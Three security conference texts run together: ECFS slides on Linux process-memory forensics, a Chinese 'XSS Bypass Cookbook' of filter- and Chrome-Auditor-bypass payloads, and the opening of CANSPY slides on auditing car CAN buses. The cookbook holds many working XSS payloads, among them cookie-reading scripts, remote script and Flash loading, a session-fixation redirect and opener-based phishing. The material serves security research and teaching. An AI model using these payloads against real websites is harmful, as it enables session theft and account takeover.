Advances in Linux process forensics with ECFS Quick history ● Wanted to design a process snapshot format native to VMA Vudu ● http://www.bitlackeys.org/#vmavudu ● ECFS proved useful for other projects as well Problem space  A process address space is complex with many components ➢ ELF binary format (structural nuances) ➢ Dynamic linking ➢ Architecture specific data and structures ➢ Kernel specific data and code (VDSO, VSYSCALL) ➢ Multiple threads Hackers infect processes ● Process infection is stealth and flexible ● Processes are attacked in many ways ➢ Viruses ➢ Rootkits ➢ Backdoors ➢ Exploitation Process forensics capable tools ● Volatility ● Rekall ● Second Look ● ptrace system call ● GDB ● Core dumps Volatility in kernel land ● Use full system memory dumps ● Dwarf symbols to acquire high resolution insight into the Linux kernel ● Can be used to detect virtually any kernel malware ● System.map, and libdwarf are friendly for this (Creating kernel profiles) Volatility in process memory ● detect_plt – A plugin for detecting PLT/GOT hooks by Georg Wicherski ● Process snapshots are raw ● Low resolution insight compared to kernel ● Plugin development is a big task ● No profile can exist for each process Full memory dump vs. process memory dump ● Macrocosm: full memory dump ● Microcosm: process memory dump ● ECFS focuses on the Microcosm Extended core file snapshot ● A custom core file format for forensics analysis ● Backwards compatible with Linux Core files ● HI-DEF resolution process-snapshots Overview of attack surface ● ET_DYN Injection (.so files) ● ET_REL Injection (.o files) ● ET_EXEC Injection (exe files) ➢ LD_PRELOAD ➢ __libc_dlopen_mode ➢ sys_ptrace ➢ VDSO manipulation ➢ Shellcode based loading ● Symbol and code hijacking ➢ PLT/GOT poisoning ➢ Trampolines (inline hooks) ➢ .ctors/.dtors patching ➢ Text segment modifications and other anomalies Process memory layout Definition of process memory forensics & analysis ● Understanding the process layout and structure ● Learning the programs runtime characteristics ● Identifying anomalous code or data ● Identifying process infection ➢ Backdoors ➢ Rootkits ➢ Keyloggers ➢ Viruses ➢ protected binaries Traditional core files .p1 ● A snapshot of a process ● Contains segments (text, data, stack, heap) ● Contains all memory mappings ● File mappings and shared libraries ● ELF file header ● Program headers describing memory layout Traditional core files .p2 ● The PT_NOTE segment in a core file contains: ➢ Register state (struct elf_prstatus) ➢ Shared library paths ➢ Auxiliary vector ➢ Signal information Traditional core files .p3 ● A core file is dumped by the kernel when a process is delivered SIGSEGV ● /usr/src/linux/binfmt_elf.c ● Core files are useful for debugging a crashing application Traditional cores are useless for forensics ● Highly dependent on the original executable being available ● Do not provide more than 4096 bytes of text images ● Does not give high resolution insight into a process Recap on forensics goals ● Detect shared library injection ● Detect function hijacking (Trampolines) ● Detect PLT/GOT hooks ● Detect ELF object injection ● Function pointer redirection ● Shellcode injection ● Strange segment permissions ● ETC. We want to quickly identify ● Userland memory rootkits ● Exploitation residuals ● Runtime malware/viruses ECFS Technology ● ECFS is a technology that transforms a process image into an ELF file format ● ECFS makes process analysis much easier ● Analogy (Photographing a process image) Core file (Low res) ECFS file (Hi res) ECFS Use cases ● Live malware analysis ● Process forensics ● Help break protected binaries ● Pausing and re-starting processes (Process necromancy) ECFS Features outline ● Hooks into the Linux kernels core handler ● Backwards compatible with core files ● Full symbol table reconstruction ● Section header table reconstruction ● Built-in heuristics ● Custom sections containing - file descriptor data - socket data - IPC data - Signal data - Auxiliary vector - Compressed /proc/<pid> directory ● Re-execution (Pausing a process and running it later) ● Libecfs (API) for parsing ECFS files Core handler (core_pattern) ● /proc/sys/kernel/core_pattern ● We tell core_pattern to pipe core files into our ecfs handler which then constructs an ecfs file ● Snapshots without killing the process are also possible (Not using core handler) echo '\|/opt/ecfs/bin/ecfs_handler -t -e %e -p %p -o /opt/ecfs/cores/%e.%p' > /proc/sys/kernel/core_pattern Symbol table reconstruction .symtab ● The PT_GNU_EH_FRAME segment contains FDE (Frame descriptor entries) ● .eh_frame data is used for stack unwinding ● Can be used to find the location and size of every function within the binary ● http://www.bitlackeys.org/#eh_frame .symtab reconstruction is paramount ● Auto control flow (such as with IDA) fails when: Binary is encrypted ● ECFS reconstructs symbol table with exact function location and size even with encrypted binaries ● Show example of reconstructed Maya protected binary Symbol table reconstruction .dynsym ● located by looking at the dynamic segment and finding DT_SYMTAB ● resolve the address of every shared library function at runtime ● plug these values into the corresponding symbol table entry ECFS Section headers ● Reconstructs most of the original section headers (i.e., .text, .data, .plt, .got.plt, etc.) ● ECFS adds many new never before seen section headers that are specific to process analysis ECFS custom sections ● .heap – process heap ● .stack – process stack ● .vdso – virtual dynamic shared object ● .vsyscall – vsyscall page ● ._TEXT – text segment (Not the same as .text) ● ._DATA – data segment (Not the same as .data) ECFS custom sections .p2 ● .procfs.tgz - compressed /proc/pid ● .prstatus - process status info, registers, etc. ● .fdinfo – file descriptors, sockets, pipes ● .siginfo – Signal and fault info ● .auxvector – auxiliary vector from stack ● .exepath – path of original executable ● .personality – ECFS personality info ECFS custom sections .p3 ● .arglist – 'char **argv' of program ● .fpregset – Floating point registers ECFS Custom section types ● SHT_SHLIB – Marks shared library segment mapping ● SHT_INJECTED – Marks injected ELF objects (ET_DYN, ET_REL, etc). ● SHT_PRELOADED – Marks shared libraries that were LD_PRELOAD'd Injection detection heuristics ● ECFS uses techniques to detect injected ELF objects ● Can detect shared libraries that were not loaded by the dynamic linker ● Can detect any type of injected object file, executable or shared library ● Can differentiate between dlopen and __libc_dlopen_mode Libecfs (API) ● ECFS parsing library ➢ Tool development is made very easy ➢ Program analysis on protected binaries ➢ Detecting advanced process infections ➢ Isolating the parasite code ➢ Distinct access to program structures and data types /usr/bin/readecfs ● Readecfs utility ● Similar to readelf ● Uses libecfs to parse ecfs files ● Can extract parasites, code, sections from ecfs files ● Still in early development ECFS Re-execution ● ECFS snapshots can be taken and then re-executed later in time ● Can be used for live process migration ● Analysis of a suspicious process (re- executed within a sandbox) ● Beta stages ● https://github.com/elfmaster/ecfs_exec Demo 1 – Detecting anti-forensics process cloaking technique ● Take snapshot of process infected with Saruman PIE executable injection ● Detect infection using simple readelf ● Extract parasite code using readecfs http://www.bitlackeys.org/#saruman Demo 2 – Detect userland rootkit ● Take snapshot of process infected with Azazel userland rootkit ● Use readecfs to extract the parasite code ● Use detect_plt_hooks to show PLT/GOT hooks in-place Demo 3 – libecfs for tool development is easy ● The detect_plt_hooks.c is less than 60 lines of code ● Can detect ELF Object injection ● Can detect Shared library injection (ptrace/mmap/__libc_dlopen_mode) ● Can detect LD_PRELOAD libraries ● Can detect PLT/GOT hooks Demo 4 – ECFS snapshot execution ● Take a snapshot of a simple process that is reading from /etc/passwd and printing the results ● Restore the snapshot, and demonstrate how it restores the file streams, and continues reading from the file Questions? ● ECFS ● https://github.com/elfmaster/ecfs ● ECFS snapshot execution ● https://github.com/elfmaster/ecfs_exec ● Saruman anti-forensics execve ● https://github.com/elfmaster/saruman	pdf
XSS Bypass Cookbook ver 3.0 XSS Bypass Cookbook [+] Author: math1as [+] Team: L team #1 引言在目前的web安全漏洞中,xss一直属于热门的一类,而它对用户造成的危害较大。因此也引发了不少安全爱好者和专业工程师的研究。而html5等新技术的使用和具体业务场景中复杂的环境带给了xss更大的生存空间。而且不同xss向量也因为浏览器的特性会有所区别比如chrome在加载资源时会校验服务器返回的mimeType 而firefox则根据标签自己设定的type来做出处理本文在目前较为常见的几种过滤条件下,简单的探讨了xss这一技术的应用以及绕过相对于上一版,新增了一个chrome auditor bypass和部分js特性,以及ie下的trick #1.1 研究范围 XSS在各种具体业务场景下的应用和绕过 #1.2 测试环境在本文所叙述的测试环境中,用到的浏览器版本如下: chrome 54.0 / firefox 50.0 均为当前的最新发行版本 ie系列由于精力有限未能进行测试正文中所有以x=开头的payload,均是在这个输出环境下测试的,代码如下 <input value="<?php error_reporting(0); $content=$_GET['x']; echo $content; ?>" /> 输出在了input的value属性里而对于直接输出在上下文或者其他位置的情况,则做了额外的探讨 #2 Bypass Chrome XSS Auditor 反射型XSS作为最容易发现和挖掘的一种XSS,活跃了非常久的时间。但是到现在它的作用已经被逐步的弱化特别是浏览器,比如chrome自身的xss auditor在其中扮演了非常重要的角色它通过直接检查了输入的内容,判断其是否在输出中出现。 (当然,基本是针对'危险标签'和可能导致javascript执行的地方) 如果符合其过滤条件,那么将直接阻止脚本的执行,比如给出这样的提示因此给反射XSS带来了不小的难度,但是它就真的那么坚固而不可挑战么? 让我们来从各个方面对它进行逐步的分析吧本文里所提到的auditor bypass 大部分是输出在属性里的情况,直接输出而被绕过的情况已经很少见了。 #2.1 字符集问题产生的bypass 由于chrome浏览器对ISO-2022-JP等编码的处理不当比如在页面没有设置默认的charset时,使用了这个日语字符集在会被auditor检查的部分添加%0f字符,就可以绕过了比如如下payload <meta charset="ISO-2022-JP"><img src="#" onerror%1B28B=alert(1) /> 这其实是利用了浏览器处理字符集时产生的问题。目前的chrome 54/55仍然没有进行修复随着以后字符集的更新,这种问题仍然有可能出现。 #2.2 过滤关键字造成的bypass 在我们的xss测试过程中,可能最不喜欢的就是各类过滤了,它给我们xss带来了很大的难度但是在特定场合,它却能起到让我们绕过auditor的作用 chrome的xss auditor主要基于如下规则(这种描述也许比较粗糙) (1)输入的内容是否直接在输出中出现 (2)输入是否有敏感标签,或者造成脚本执行的事件那么聪明的你可能就想到了,如果替换掉了敏感关键字,比如开发者如果替换掉了<script>标签那么对于这样的一个输出在属性里的例子 while(1) { if(stripos($content,"<script>")===false) break; $content=str_replace("<script>","",$content); } <img alt="<?php echo $content;?>"> 如果我们用<script>分割掉敏感的事件,那么我们的输入在经过auditor检查的时候,就被放行了。而真正打印内容进行渲染的时候,由于$content中的<script>被过滤,因此我们的xss脚本成功的执行了用这种方法,成功的绕过了xss auditor 那么它是否可以被用在直接输出的反射XSS中呢? 我们把这个输出点的代码改成如下: <?php $content=$_GET['x']; while(1) { if(stripos($content,"<script>")===false) break; $content=str_replace("<script>","",$content); } echo $content; ?> 事实证明,这种方法是完全可行的 #2.3 协议理解产生的bypass chrome的xss auditor 在检查加载脚本的路径时,有一个比较有趣的地方如果加载的脚本在自身目录下,那么如果xss的输出点在html属性中 auditor是不会对其进行拦截的但是如果检测到了 // 这样的外部链接的话,就会触发auditor无法加载外部脚本这时就有一个小细节了,在加载其他脚本时如果我们输入了的链接使用了http: 而没有带上 // 的话它会仍然被视为在这个目录下,比如我们构造payload x=1"><link%20rel="import"%20href=http:www.math1as.com 明显的,它被视为了一个目录,从而返回了不存在,此时auditor也不会对其进行拦截那么换个思路想想. 使用http: 虽然被认为是一个目录,但是https呢我们使用https来代替http: 发现成功的把它当作了一个完整的https链接进行了加载注意的是这里不能使用>或者"进行闭合,否则就会触发auditor的标签完整性检测因此,像<script src="evil" ></script> 这样需要闭合的脚本就不能使用了接下来的问题就是,既然不能用"闭合,也就意味着我们的链接最后始终会带有一个" 并且,由于加载外部文档会触发CROS,所以我们需要设置其header来允许访问因此,我们在.htaccess新建一条url转发 RewriteRule 1.\"$ /xss/t1.php 并在t1.php中写入如下代码 <?php header("Access-Control-Allow-Origin:*"); echo "<script>alert(1)</script>"; ?> 这样我们使用如下payload,就可以成功的把xss脚本给加载过来了 x=1"><link%20rel="import"%20href=https:www.math1as.com/1. 成功的绕过了auditor 这个payload在最新的chrome 54/55中有效那么它是否可以被用在直接输出的反射XSS中呢? 假设我们处于一个直接输出的xss点当中,具体代码如下 <body> <?php $content=$_GET['x']; echo $content; ?> </body> 这时我们使用如下payload x=<link%20rel="import"%20href=https:www.math1as.com/ 那么,很显然的,这个payload是一个无条件的chrome auditor bypass,适用于最新版chrome 54/55 这个payload由原作者发现后,认为是一个输出在属性中的bypass,而在我和phithon复现后,发现其实是无视条件直接触发的那么,既然这样做可以加载外部资源,那么使用<embed>来加载一个外部flash产生xss是不是也可以呢? 首先我们需要让这个带有"结尾的后缀能被成功的响应为一个flash文件在apache的mime.types配置文件中添加了s"的后缀名可以看到返回了application/x-shockwave-flash 资源也成功加载了,但是我们的chrome并不领情当然这里需要说明是的对于firefox来说它是不会分辨mimetype的,但是chrome就会进行校验。因此,很遗憾的,我们的<embed>不能使用在这里。 #2.4 <param>标签导致的绕过在chrome的源码HTMLObjectElement.cpp 文件中,有如下的定义 if (url.isEmpty() && urlParameter.isEmpty() && (equalIgnoringCase(name, "src") \|\| equalIgnoringCase(name, "movie") \|\| equalIgnoringCase(name, "code") \|\| equalIgnoringCase(name, "url"))) urlParameter = stripLeadingAndTrailingHTMLSpaces(p->value()); 所以当我们输入这几个name的时候,它就会加载外来的flash文件这时候我们需要object标签来始终允许脚本运行,并使用如下payload <object allowscriptaccess=always><param name=url value=https://www.math1as.com/3.swf> 成功绕过而且这也是一个universal bypass #2.5 上传swf导致flash-xss所产生的bypass 根据2.3中的思路,如果存在任意一个可以上传swf文件的上传点,就可以对chrome的auditor进行绕过。所用的payload如下 x=1"><embed+type="application/x-shockwave-flash"+allowscriptaccess=always+src=/a/1.swf" 但是这种方法一般比较鸡肋因为允许上传swf文件的话,一般也允许在富文本编辑器中直接加载这个swf了 #2.6 crlf产生的bypass 由于chrome的auditor默认是开启的,但是仍然会受到http头的影响如果X-XSS-Protection被赋值为0,那么chrome自身的filter就会关闭因此,如果在一个302跳转页面我们注入了%0d%0a然后在新一行中写入X-XSS-Protection:0,那么接下来的XSS内容就不会受到auditor的阻止了如何在这个页面构造一个反射型XSS呢? http数据报文的格式是这样的需要再多注入%0d%0a%0d%0a,即两个crlf 这时的内容就会被视为http body而直接输出到源码中,浏览器会将其解析因此就产生了bypass浏览器filter的注入。但是php高版本中已不允许发送多行header 因此这个利用方法只适用于其他语言的web环境下进行利用 #3 各类针对关键字过滤的bypass 在实际的业务场景中,xss会受到程序本身,或者是可能存在的waf的影响,他们会过滤或者替换掉攻击者payload中的某些特定关键字,因此针对关键字过滤的bypass也一直是我们主要关注的方向 #3.1 过滤特定标签这种过滤其实真的已经无法起效了,任何一个标签都可以构造出XSS,因此不再赘述一个示例payload <img src="#" onerror=alert(1) /> 利用事件来触发xss 也可以是利用<embed>来加载一个远程的flash文件,制造xss 当然,如果输出点在html属性中,即使过滤了尖括号<>,如果可以闭合属性的冒号那么仍然产生了dom-xss,利用事件足以摧毁开发者的防御。 #3.2 通用的敏感关键字绕过方法关键字过滤是针对敏感变量,或者函数的,比如cookie,eval等又或者是()符号, 那么介绍几种通用的绕过的方法 1. 利用数组方式来拼接 js里的对象成员方法也可以用数组的形式的表示简单的说,比如eval()函数就可以用top对象的成员方法来表示 top['ev'+'al'](evalcode) 这时,比如过滤了eval,我们可以这样来触发xss x="onfocus=top["ev"%2b"al"](alert(1))// 使用字符串拼接的方式来构造出eval 2. 利用location的url解码特点现代浏览器基本支持javascript:code 这种伪协议而location在跳转的过程中又会自动解码,因此我们可以试图把敏感部分进行二次编码存放到location部位。比如我们通过这样的方式来调用eval x="onfocus=location="javascript:%2565%2576%2561%256c(alert(1))"// 可以看到,成功的通过eval去调用了alert(1) 那你会问,如果括号也被过滤了呢? 继续编码就好了构造如下的payload x="onfocus=location="javascript:%2565%2576%2561%256c%2528alert%25281%2529%2529"// 3.利用location.hash来存放 location.hash是浏览器中用于定位锚的字符串,它是不会向服务端发送的,因此也不会被过滤所以我们可以构造如下payload来进行绕过 x="onfocus=outerHTML=location.hash//#<img/src="#" onerror=alert(document.cookie)> 4. String.fromCharcode() 可以从ascii码中解析出特定的字符串,比如这里过滤document.cookie 使用如下的payload x="onfocus=eval(String.fromCharCode(97,108,101,114,116,40,100,111,99,117,109,101,110,116,46,99,111,111,107,105,101,41))// 就可以成功绕过 5. 利用window.name进行跨域传输用在location.hash被过滤/长度不够,或者不能使用点号的情况这里可以使用一个<iframe scr="payload" name="evilcode" />的方式,在window.name中存储代码其实这种方法也被称为回旋镖它能够把一个反射XSS升格为类似存储型XSS的效果这里以绕过对eval的过滤为例 <iframe src="http://127.0.0.1/q.php?x=1%22onfocus=location=window.name//" name="javascript:eval(alert(document.cookie))" width="100%" height="100%" /> 将其保存为一个html,随便放置在一个地方,就像普通的xss那样触发 6.利用<svg>标签,<svg>内部的标签和语句遵循的规定是直接继承自xml而不是html 区别在于,<svg>内部的<script>标签中,可以允许一部分进制/编码后的字符(比如实体编码) 这里绕过对括号的过滤,使用实体编码为例,&#[十进制],&#x[十六进制] 作为例子使用如下payload 1"><svg><script>alert%26%23x28;1%26%23x29</script></svg> 成功的进行了绕过补充:svg里的<script>,还甚至可以使用<!-- -->来进行整段注释 7.利用ES6模板字符串 `${some string}` 使用反引号中间的some string会被当作表达式解析,简单的说就是你可以在这里使用变量当然,一个很明显的地方就是,如果只是过滤了某个特定的字符,完全可以用这种方式绕过举个简单的例子,如果过滤掉了1 我们可以用 `${3-2}` 这种方式来表示1 而且有一部分函数是支持不用括号传参,直接使用模板字符串作为参数的。比如prompt,我们这里用它来弹出1 使用如下的payload x="onfocus=prompt`${3-2}`// 可以成功的绕过补:这种方法并非真正的进行了绕过因为用es6进行传参的时候 "," 会作为第一个参数传递给目标函数会导致错误。这时,则需要使用对象(函数)的.call方法来传递这时,原本.call方法的第一个参数是this指针,而它即使是null也能正确执行而它接受到了","这个非法参数,则默认为null执行如果调用的对象(函数)是一个全局对象,也能得到正确的执行。比如eval.call`${name}` 这时如果我能操控window.name,则会正确的执行我们的代码。当然如果能使用引号 eval.call`${'alert(1)'}` 也是能正确执行目标代码的而且没有使用() 括号进行传参 #3.3 针对特定敏感关键字的绕过方法 1.针对过滤了.符号使用with()方法可以设定对象的作用域也就是我原本要访问location.hash 由于点号被过滤只需要使用with(location)hash即可构造payload如下 1"onfocus=with(location)alert(hash)//#11 如果过滤的点号被使用在域名中那么在ie/chrome/ff下使用。(%E3%80%82) 是可以代替 .的 2.针对过滤了()号使用throw传递参数,配合 ES6模板字符串 `${some string}` 具体的思路是,throw可以抛出一个异常(err)交给异常处理函数去处理但是如果它没有在try...catch结构中使用的话,就会引发一个uncaught 'err内容' 的异常也就是抛出的整个异常内容是 "uncaugh 'err内容'" 比如这样所以,如果我们把异常处理函数绑定为eval eval实际收到的就是一个Uncaught=alert(document.cookie)的表达式它会自动执行这个表达式而throw本身接受参数的时候是可以接受模板字符串作为参数的所以构造如下payload 1"onfocus=top.onerror=eval;throw`=alert\x28document.cookie\x29`// 这里等号的目的就是使它成为一个合法的表达式成功的绕过 3.过滤了空格在标签的名称和第一个属性之间可以用 / 来代替空格 <img/src="#" /> 而在其他的某几个位置换行符也是可以起效的,具体我没有进行测试《web之困》上有一个讲解这个知识点的地方只是大概的举一个payload作为例子 x=1"><img/src=%23%0aonerror=alert(1)> 我们不使用双引号来闭合,但是通过%0a作为分隔符获得了一样的效果 4.过滤了\r\n等换行符 javascript里允许用U+2028作为换行符因此,这时我们可以插入一个\u2028来实现绕过 5.过滤<script>,而最终又转换为了大写 http://dba86.com/docs/other/grep.html 中给出了一些德语符号和拉丁文符号其中拉丁文中的'long s' 在大写时会被转换为英语的'S' 因此可以绕过这个限制。 6.过滤了大部分符号,而又输出在var x = {} 中只要双引号和()没被绕过就可以使用"somestr"(alert(1))in"otherstr" 的方式执行原理是这样的 js的解释器的特点 => 初步检查只管语法正确 => ('只要不报syntax error')则类型等其他问题只有等执行时才会报错 => 在报错之前会按照语法树解析的顺序一直执行下去。而"somestr"()则是把"somestr"(注意,是包含引号的整体)作为了函数名把(alert(1))作为参数进行传递而这时会先进行参数值的解析,因此函数会得到执行 7.过滤了注释符// -->也可以作为js的行注释符比如构造如下payload <script> alert(1)-->xsasxqwewqe </script> 8.仍然是过滤了//,只是这次用在协议+域名中在ie下使用 /ゝ (%E3%82%9D) 代替 // 来自 jackmasa 9.使用str.replace中的replacement可控在过滤了"的作用下,如果这时可以通过$`取到第一个匹配前的所有字符或者$1取到第一个匹配分组那么即使我们传入的replacement已经过一次检查替换后的结果中仍然可以存在" #3.4 针对某些过滤方法的绕过。 1.如果对于某个object的属性,在检查到非法字符串的时候使用了delete对其进行清除,那么我们可以通过向其原型传递参数的方法来进行绕过。比如x={'name':'invalid','__proto__':{'name':'evilcode'}} 则这时如果使用__proto__进行属性的赋值因为__proto__是x对象的原型,所以如果对name进行delete delete x.name; 则这个语句delete x自身的属性后 x会继承其__proto__的属性有一点像c++里的子类继承父类属性 #4 长度限制的bypass 码由于笔者自身的能力有限,所以这里也只列举三个方法 4.1 window.name跨域使用iframe跨域的话,自身的payload长度就可以得到极大的缩短因为你唯一需要的就是执行window.name里的代码有在特定的场景下,window.name由于window是一个全局对象,可以直接省略window 而是用name去访问我们的window.name 而window.name能够承载的长度很大,足够我们绕过因此我们的只需要eval(name)就可以了使用如下payload <iframe src="http://127.0.0.1/q.php?x=1%22onfocus=eval(window.name)//" name="alert(document.cookie)" width="100%" height="100%" /> 成功执行 4.2 jquery工厂函数 jquery的工厂函数$()需要传入的是一个完整的html标签它会自动的构造起里面的标签,并且执行里面的代码如果我们使用了$(location.hash)就缩短了非常多的长度做一个小小的测试使用的payload是这样的 <iframe src="http://127.0.0.1/q.php?x=1%22onfocus=$(window.name)//" name="<img src='#' onerror=alert(document.cookie) />" width="100%" height="100%" /> 也能够成功的执行了代码,而且进一步缩短了payload的长度 4.3 使用短域名曾经wooyun上的一篇文章有提到过这个问题,在payload长度相同的情况下,谁的域名越短谁就拥有了先天的优势。比如一些物理单位符号,可以被合法的注册,而且会被自动解析到对应的英文域名包括之后出现的一些韩语域名,emoji域名,也许都可以用来缩短我们的payload长度 #5 构造无需交互的payload&绕过事件过滤之所以单独的将这一问题单独列出来,是因为虽然很多时候我们确实证明了某个输出点有xss漏洞但一个需要用户交互较少的xss payload 才称得上足够有效但是大多数时候,能够使用的事件都被过滤了因此,如果我们的payload还需要用户做大量的点击拖拽等操作(click jacking除外) 那完全称不上足够有效当然最好就是无需交互,那么就让我们来看一看怎么构造出无需交互的payload 5.1 onerror/onload 事件两个事件是最容易触发,而且无需交互的比如如下的payload <svg/onload=alert(1)> <img src="#" onerror=alert(1) /> 但是这两个事件太常见了,非常容易就遭到了过滤而且也有相当一部分标签不支持onerror等事件 5.2 onfocus与autofocus 对于<input>等标签来说,onfocus事件使他们在获得焦点时而autofocus则会让他们自动获得焦点因此,很容易利用这个构造出如下的payload,使他们自动获得焦点并触发事件执行js 1"%20autofocus%20onfocus=alert(1)// 完整的html标签是这样的 <input value="1" autofocus onfocus=alert(1)// > 可以自动的触发我们的payload 那么如果我们的onfocus属性也被过滤掉了呢? 5.3 onblur与autofocus onblur是标签失去焦点时引发的事件,那么你可能就会问了这和我无需交互的payload有什么关系呢很简单,我们来看看怎么样让标签'自动'失去焦点 (1)在稍早版本的chrome中我们构造如下payload x=1"><input%20onblur=alert(1)%20autofocus><input%20autofocus><input%20autofocus> 有好几个标签来'竞争' autofocus的焦点,那么只要我们的第一个带有onblur事件的input,在获得焦点后,又因为竞争而失去焦点的话,就可以触发这个payload了 (2)在最新版本中由于上一个payload已经无法正常工作了,但是我们仍然能够通过 x=1"><input%20onblur=alert(1)%20autofocus> 来构造一个需要较少交互的xss向量用户只要随意点击窗口里的任意一个地方就会触发我们的payload 但是非常多其他标签似乎无法触发onfocus,更不要说autofocus了 5.4 <details>标签的ontoggle事件如果大部分常见事件都被过滤掉了,我们仍然有办法来构造一个无需交互的xss向量这就是<details>标签的ontoggle属性,它会在自身的open属性不为空时触发构造如下payload x=1"><details%20open%20ontoggle="alert(1)"> 在chrome最新版本中有效 5.5 flash-xss的自动触发在之前的chrome auditor bypass中,它似乎非常鸡肋但是在存储型xss和其他浏览器的场景下,用它可以构造非常有效的攻击向量 payload构造如下 x=1"><embed+type="application/x-shockwave-flash"+allowscriptaccess=always+src=https://www.math1as.com/3."> 最新版chrome/firefox均有效 5.6 任意标签的自动触发那么如何实现任意标签的自动触发这一目标呢这里只简单的讲一个技巧可以用任意脚本构造出无需交互的payload 如我们所知,有很大一部分标签是"不响应"onfocus事件的你用鼠标移动上去,他没有任何的反应但事实上,真的如此么? 我们试着给它添加一个tabindex属性然后为它设置id=1 最后用location.hash来定位到id=1的锚点,就可以让他获得焦点这里我们用一个不存在于标准里的标签<hero>来测试构造如下payload x=1"><hero%20id="1"%20tabindex="0"%20onfocus=alert(1)>#1 对应的标签是 <hero id="1" tabindex="0" onfocus=alert(1)> 于是,我们就获得了一个构造任意标签的自动触发payload的方法。 #6 CSP Bypass CSP(内容安全策略)也是目前现代浏览器越来越重要的一种限制XSS的手段关于如何对它进行绕过,具体参见我的文章《初探CSP Bypass 一些细节总结》 #7 XSS tricks 虽然有时候我们不一定能够通过标签和脚本的写入来实现一个xss 但是有时候一些奇思妙想也可以让我们简介的实现目标 7.1 firefox <50.02跨域问题这个漏洞出现在firefox的如下版本可以产生一个固定会话漏洞在服务器上把/test urlrewrite到 /xss/ff.php 在ff.php则用302将浏览器重定向到一个dataURL <?php $key="hehe"; $val="tester"; header("Location: data:image/svg+xml,<svg xmlns='http://www.w3.org/2000/svg'><circle r='100'></circle><foreignObject><html xmlns='http://www.w3.org/1999/xhtml'><meta http-equiv='Set-Cookie' content='$key=$val'/></html></foreignObject></svg>"); ?> 然后在受害者访问的网站里插入<img src="//xss.com/test" /> 访问后受害者的cookie被设置为hehe=tester 产生了一个固定回话漏洞此时如果受害者尝试进行登陆,我们随后就可以用这个被认证了的cookie以用户身份使用其账号因为chrome不允许302跳转到base64链接(如图) 所以只能在firefox下使用这个攻击手法而且大部分网站的富文本编辑器都允许插入一张图片因此危害还是比较大的。 7.2 利用 opener进行钓鱼在js中可以使用window.opener (也就是当前window的父窗体)来访问到打开本窗体的页面比如我的chrome有两个标签页,从a标签页打开了b,那么b就可以通过window.opener.location 反过来控制a标签页的地址虽然很明显的,浏览器不允许其跳转到一个javascript地址,但是却可以跳转到一个dataURL 因此我们可以伪造一个a标签页对应网站的登陆页面,让用户以为是自己掉线了从而实现钓鱼的功能。 #8 结语通过本文对XSS的各类应用场景进行探讨,以笔者有限的能力剖析了一些业务场景分析了一部分具体的xss payload和目前存在的主流绕过方法。希望能够通过这篇文章,起到抛砖引玉的效果。 #9 参考 [1] https://html5sec.org/xssauditor/bypasses-052016 [2] https://insert-script.blogspot.co.at/2016/12/firefox-svg-cross-domain-cookie.html	pdf
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CANSPY a Platform for Auditing CAN Devices Arnaud Lebrun Jonathan-Christofer Demay 2 Arnaud Lebrun Jonathan-Christofer Demay CANSPY a Platform for Auditing CAN Devices Auditing conventional IT systems • Penetration testing • A form of security audit • Assess the risks of intrusion • Actual tests instead of a review process • The point of view of a real attacker (the “black-box” approach) • Relevant evaluation of impact and exploitability • Limitations • Less time • Less resources • More ethics • Counter-measure: the “grey-box” approach 3 Arnaud Lebrun Jonathan-Christofer Demay CANSPY a Platform for Auditing CAN Devices The CISO’s dilemma • The hand they are dealt with • Huge scope of responsibility • Continuous changes • Major security threats • Risk of substantial damages • Limited budget • Their response • They rely on penetration testing • They welcome the “gray-box” approach • They rely on risk analysis first and foremost • They divide perimeters accordingly 4 Arnaud Lebrun Jonathan-Christofer Demay CANSPY a Platform for Auditing CAN Devices What about car manufacturer ? • They are starting to include cyber-security along with conventional safety • A lot of new functionalities • Using more complex software • Also, security researchers… 5 Arnaud Lebrun Jonathan-Christofer Demay CANSPY a Platform for Auditing CAN Devices What about car manufacturer ? • They are starting to include cyber-security along with conventional safety 6 Arnaud Lebrun Jonathan-Christofer Demay CANSPY a Platform for Auditing CAN Devices What about car manufacturer ? • They are starting to include cyber-security along with conventional safety 7 Arnaud Lebrun Jonathan-Christofer Demay CANSPY a Platform for Auditing CAN Devices What about car manufacturer ? • They are starting to include cyber-security along with conventional safety 8 Arnaud Lebrun Jonathan-Christofer Demay CANSPY a Platform for Auditing CAN Devices What about security audit for cars ? • The same approach can be applied ∙ While True ∙ Conduct risk analysis ∙ Prioritize ECUs ∙ Conduct penetration tests accordingly ∙ Carry out corrective actions ∙ End While • Some ECUs can be common to several vehicles • Corrective actions may be difficult to carry out 9 Arnaud Lebrun Jonathan-Christofer Demay CANSPY a Platform for Auditing CAN Devices It always begins with… • Consumer-grade connectivity • Wi-Fi, Bluetooth and USB Nothing new here ! • However CAN sniffing is already useful for analysis Infotainment and navigation 10 Arnaud Lebrun Jonathan-Christofer Demay CANSPY a Platform for Auditing CAN Devices It always begins with… • Mobile broadband connectivity • Setting up an IMSI catcher and then… • Deal with conventional protocols (TCP, HTTP, …) Again, nothing new here ! Infotainment and navigation Seamless connectivity 11 Arnaud Lebrun Jonathan-Christofer Demay CANSPY a Platform for Auditing CAN Devices It always begins with… • CAN attacks • Bypass CAN bus segmentation (architecture-dependant) • Reverse-engineer higher-layer/custom protocols • Break the Security Access challenge (ISO 14229) Infotainment and navigation Seamless connectivity Other ECUs: steering, braking, etc. 12 Arnaud Lebrun Jonathan-Christofer Demay CANSPY a Platform for Auditing CAN Devices CAN architectures • One serial bus (to rule them all ) • ID-based priority mechanism • Congestion issues • Acknowledgment by anyone ECU CAN High CAN Low ECU ECU ECU ECU 13 Arnaud Lebrun Jonathan-Christofer Demay CANSPY a Platform for Auditing CAN Devices CAN architectures • Multiple separate buses • Some ECUs have to be connected to multiple buses • They can be used to bypass the segmentation ECU CAN1 High CAN1 Low ECU ECU ECU CAN2 High CAN2 Low ECU 14 Arnaud Lebrun Jonathan-Christofer Demay CANSPY a Platform for Auditing CAN Devices CAN architectures • Multiple interconnected buses • A gateway is routing frames between CAN buses • It may take into account the state of the vehicle • Both safety and cyber-security can be considered ECU CAN1 High CAN1 Low ECU Gateway ECU ECU CAN2 High CAN2 Low 15 Arnaud Lebrun Jonathan-Christofer Demay CANSPY a Platform for Auditing CAN Devices Crafting CAN attacks • Several attack vectors • Misuse of intrinsic capabilities (e.g., remote diagnostic tool) • Exploit a higher-level parsing vulnerability • Break the Security Access challenge • Etc. • This will imply a substantial amount of work • Unsolder EEPROM or identify on-chip debug (JTAG/BDM) and conventional debug (UART/WDBRPC) interfaces • Extract the firmware • Reverse-engineer the aforementioned items • Craft actual attacks 16 Arnaud Lebrun Jonathan-Christofer Demay CANSPY a 